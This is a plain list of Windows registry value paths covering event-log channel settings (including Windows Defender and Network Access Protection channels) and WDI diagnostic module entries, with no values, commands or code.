HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\Type HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\Enabled HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\FileMax HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\FileCounter HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\BufferSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\MinBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\MaxBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\Latency HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\ClockType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\SidType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\Level HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\ControlGuid HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\MaxSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\MaxSizeUpper HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\Retention HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\AutoBackupLogFiles HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\File HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\FilterId HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\Isolation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\OwningPublisher HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\ChannelAccess HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\Type HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\Enabled HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\FileMax HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\FileCounter HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\BufferSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\MinBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\MaxBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\Latency HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\ClockType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\SidType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\Level HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\ControlGuid HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\MaxSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\MaxSizeUpper HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\Retention HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\AutoBackupLogFiles HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\File HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\FilterId HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\Isolation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\OwningPublisher HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\ChannelAccess HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\Type HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\Enabled HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\FileMax HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\FileCounter HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\BufferSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\MinBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\MaxBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\Latency HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\ClockType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\SidType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\Level HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\ControlGuid HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\MaxSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\MaxSizeUpper HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\Retention HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\AutoBackupLogFiles HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\File HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\FilterId HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\Isolation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\OwningPublisher HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\ChannelAccess HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\eventlog\System\Application Popup\ProviderGuid HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\Type HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\Enabled HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\FileMax HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\FileCounter HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\BufferSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\MinBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\MaxBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\Latency HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\ClockType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\SidType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\Level HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\ControlGuid HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\MaxSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\MaxSizeUpper HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\Retention HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\AutoBackupLogFiles HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\File HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\FilterId HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\Isolation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\OwningPublisher HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\ChannelAccess HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\Type HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\Enabled HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\FileMax HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\FileCounter HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\BufferSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\MinBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\MaxBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\Latency HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\ClockType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\SidType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\Level HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\ControlGuid HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\MaxSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\MaxSizeUpper HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\Retention HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\AutoBackupLogFiles HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\File HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\FilterId HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\Isolation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\OwningPublisher HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\ChannelAccess HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{15fba3b8-a37a-4f91-bdba-fbb98fe804bf}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{15fba3b8-a37a-4f91-bdba-fbb98fe804bf}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{15fba3b8-a37a-4f91-bdba-fbb98fe804bf}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{282396b2-6c46-4d66-b413-70b0445df33c}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{282396b2-6c46-4d66-b413-70b0445df33c}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{282396b2-6c46-4d66-b413-70b0445df33c}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{284ddb2f-beea-4c9d-91e8-e3670ed91517}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{284ddb2f-beea-4c9d-91e8-e3670ed91517}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{284ddb2f-beea-4c9d-91e8-e3670ed91517}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{3EA6B3DF-393E-41C3-9885-29EC5A701926}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{3EA6B3DF-393E-41C3-9885-29EC5A701926}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{3EA6B3DF-393E-41C3-9885-29EC5A701926}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{45DE1EA9-10BC-4f96-9B21-4B6B83DBF476}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{45DE1EA9-10BC-4f96-9B21-4B6B83DBF476}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{45DE1EA9-10BC-4f96-9B21-4B6B83DBF476}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{4d21da64-fd02-4b82-a0a5-783266e430ab}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{4d21da64-fd02-4b82-a0a5-783266e430ab}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{4d21da64-fd02-4b82-a0a5-783266e430ab}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{50e3b0eb-5780-49de-9eb5-8d53a51fd146}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{50e3b0eb-5780-49de-9eb5-8d53a51fd146}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{50e3b0eb-5780-49de-9eb5-8d53a51fd146}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5C85A128-86F7-41a4-B655-BEE3F2ADEF46}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5C85A128-86F7-41a4-B655-BEE3F2ADEF46}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5C85A128-86F7-41a4-B655-BEE3F2ADEF46}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5EE64AFB-398D-4edb-AF71-3B830219ABF7}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5EE64AFB-398D-4edb-AF71-3B830219ABF7}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5EE64AFB-398D-4edb-AF71-3B830219ABF7}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{63e0d0f7-ac2f-493b-a7f2-2f3ccdb66fca}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{63e0d0f7-ac2f-493b-a7f2-2f3ccdb66fca}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{63e0d0f7-ac2f-493b-a7f2-2f3ccdb66fca}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{67f1ec80-6c5b-43bb-860b-d47ae85242b1}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{67f1ec80-6c5b-43bb-860b-d47ae85242b1}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{67f1ec80-6c5b-43bb-860b-d47ae85242b1}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{72dbb5ac-6a91-46e6-885b-d429828bea2e}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{72dbb5ac-6a91-46e6-885b-d429828bea2e}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{72dbb5ac-6a91-46e6-885b-d429828bea2e}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{7a54f16f-a73a-4258-ba46-a1e998a6aa74}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{7a54f16f-a73a-4258-ba46-a1e998a6aa74}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{7a54f16f-a73a-4258-ba46-a1e998a6aa74}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{85e0acd9-809a-482b-b60b-bcad1f8d0cd7}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{85e0acd9-809a-482b-b60b-bcad1f8d0cd7}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{85e0acd9-809a-482b-b60b-bcad1f8d0cd7}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{88d4896f-f553-446a-9c75-9dec124ff8b7}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{88d4896f-f553-446a-9c75-9dec124ff8b7}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{88d4896f-f553-446a-9c75-9dec124ff8b7}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8CC29128-0B57-4a2b-A7B9-A74A70BA6FA1}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8CC29128-0B57-4a2b-A7B9-A74A70BA6FA1}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8CC29128-0B57-4a2b-A7B9-A74A70BA6FA1}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8d39bd5b-81f8-4b94-a608-6a50bbff5d15}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8d39bd5b-81f8-4b94-a608-6a50bbff5d15}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8d39bd5b-81f8-4b94-a608-6a50bbff5d15}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{95c162b7-5b71-44f8-82e4-abfd3108f40f}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{95c162b7-5b71-44f8-82e4-abfd3108f40f}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{95c162b7-5b71-44f8-82e4-abfd3108f40f}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{9c5a40da-b965-4fc3-8781-88dd50a6299d}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{9c5a40da-b965-4fc3-8781-88dd50a6299d}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{9c5a40da-b965-4fc3-8781-88dd50a6299d}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a0d86e0d-3f06-411b-9dd5-35bc5666ff3e}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a0d86e0d-3f06-411b-9dd5-35bc5666ff3e}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a0d86e0d-3f06-411b-9dd5-35bc5666ff3e}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a59f0643-a6ca-48e0-a7c4-4cdd258439e2}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a59f0643-a6ca-48e0-a7c4-4cdd258439e2}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a59f0643-a6ca-48e0-a7c4-4cdd258439e2}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{abd0ea66-a840-44a9-97b1-fb74fddaa8c8}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{abd0ea66-a840-44a9-97b1-fb74fddaa8c8}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{abd0ea66-a840-44a9-97b1-fb74fddaa8c8}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{b171ab1c-60e9-4301-a338-beab1c70b3e9}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{b171ab1c-60e9-4301-a338-beab1c70b3e9}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{b171ab1c-60e9-4301-a338-beab1c70b3e9}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{bf2de437-b736-48fb-84a0-5f0c389a068e}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{bf2de437-b736-48fb-84a0-5f0c389a068e}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{bf2de437-b736-48fb-84a0-5f0c389a068e}\NameResource 